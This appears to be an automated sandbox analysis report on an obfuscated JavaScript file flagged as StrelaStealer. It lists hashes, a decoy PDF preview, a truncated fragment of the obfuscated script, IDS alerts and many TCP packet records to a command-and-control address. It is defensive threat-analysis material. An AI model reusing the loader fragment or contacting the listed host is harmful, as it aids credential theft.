MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15685), with CRLF line terminators
Entropy (8bit):	4.907939244867084
TrID:
File name:	4483138622176223122.js
File size:	19'053 bytes
MD5:	4cec6db6a8e4f7749b2bcdf716b9030a
SHA1:	89ac164672d540afd5d57db8db7b3f09bbaaf595
SHA256:	71c9d9c1b96cf5ab0c07ef8697aa72ddaa63f813196fdd005011f2270e1781b4
SHA512:	2a70e49a83f56c6e2ae1419cf6d63b6338b8fe6344b174bc5ba80375452dca190f6f6d477bc5baabc2686c2d0cefce464a6eda57202481a07624a608c6c9f59f
SSDEEP:	384:CENfYpokHtdIlPtDRtQEIJIYRnOnznIWmDU0ZDzG:CEFYpokgPppIJIYAF0ZDzG
TLSH:	658202FBC570CBA2DAE12690A17FC47712B8070DD3F672C6456E01AACB6E7199EC6470
File Content Preview:	function qlbgot(){mqfvnorh=[1031,3079,5127,4103,2055,3072];var qrkil=this[dkbnj+qresdu+qktcxhq+oqhab+jynqw+bbvnb+ompszoug+nagmjrw](this[isxyb+ubhabu+bvmcg+qktcxhq+utgvygx+dkbnj+nagmjrw][dmktwf+qktcxhq+jynqw+qresdu+nagmjrw+jynqw+sunibesds+vhhsbrd+rwywwlsb+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:52:02.155184+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T07:52:02.155184+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T07:52:05.154801+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:52:01.351435900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:01.356575012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:01.356681108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:01.372939110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:01.377865076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.154964924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.155019999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.155073881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.155107021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.155139923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.155169964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.155184031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.155184984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.155205011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.155236006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.155266047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.155270100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.155288935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.155304909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.155368090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.160211086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.160248041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.160321951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.201019049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.201055050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.201195002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.276690960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.276715040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.276738882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.276752949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.276767015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.276782036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.276938915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.276938915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.277194023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.277232885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.277276993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.277455091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.277468920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.277482986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.277499914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.277503014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.277514935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.277534008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.278316975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.278340101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.278353930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.278368950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.278383017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.278400898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.278418064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.278465986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.279246092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.279259920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.279273987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.279282093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.279438019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.335736036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.335784912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.335844040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.335867882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.335871935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.335946083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.367459059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.367482901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.367599964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.398550034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.398607016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.398641109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.398673058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.398709059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.398747921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.398758888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.398794889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.398834944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.398834944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.398889065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.398935080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.398941040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.398972988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.399007082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.399015903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.399058104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.399102926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.399632931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.399666071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.399699926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.399712086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.399732113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.399765968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.399775982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.399797916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.399831057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.399842024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.400372028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.400388002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.400403023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.400418043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.400427103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.400441885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.400453091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.400456905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.400474072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.400482893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.400506973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.401251078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.401299953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.401333094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.401345968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.401386976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.401420116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.401431084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.401452065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.401484966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.401510954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.402220011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.402254105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.402283907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.402287960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.402319908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.402342081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.402354002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.402385950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.402400017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.402420044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.402472019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.426575899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.426608086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.426656961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.426683903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.426755905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.426757097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.458452940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.458472013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.458487034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.458501101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.458514929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.458529949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.458550930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.458641052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.489398956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520101070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520162106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520195007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520245075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520267010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.520267010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.520277023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520308971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520340919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520344973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.520375013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520399094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.520426989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520472050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.520477057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520509958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520551920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.520665884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520695925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520730972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520755053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.520780087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520812035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520836115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.520921946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.520968914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.521013021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521059990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521094084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521126032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521127939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.521157980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521181107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.521395922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521452904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.521502972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521537066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521569967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521591902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.521601915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521634102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521657944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.521667004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521718025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.521915913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.521965027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522006035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.522015095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522047997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522083998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522100925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.522116899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522150993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522183895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.522183895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522217989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522243977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.522252083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522299051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.522701025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522749901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522783041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522804976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.522814989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522861958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522869110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.522892952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522927046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522947073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.522958994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.522991896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523014069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.523024082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523062944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.523072958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523108006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523159027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.523578882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523629904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523679018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523688078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.523715019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523757935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.523763895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523803949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523850918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523873091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.523885012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523916006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523941040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.523948908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.523979902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.524013996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.524018049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.524065018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.524595022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.524643898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.524696112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.524704933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.524729013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.524760962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.524770021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.524792910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.524825096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.524848938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.524857044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.524889946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.524915934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.528953075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.536442041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.549202919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549268007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549271107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.549283028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549328089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.549364090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549379110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549401045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549415112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549428940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549442053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549516916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549530029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549545050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549559116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.549575090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.549575090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.549665928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.549665928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.550679922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.580601931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.580636978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.580667973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.580766916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.611102104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611154079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611170053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611183882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611201048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611234903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.611234903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.611291885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611291885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.611310959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611336946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611350060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611361980 CET	49704	80	192.168.2.5	193.143.1.205
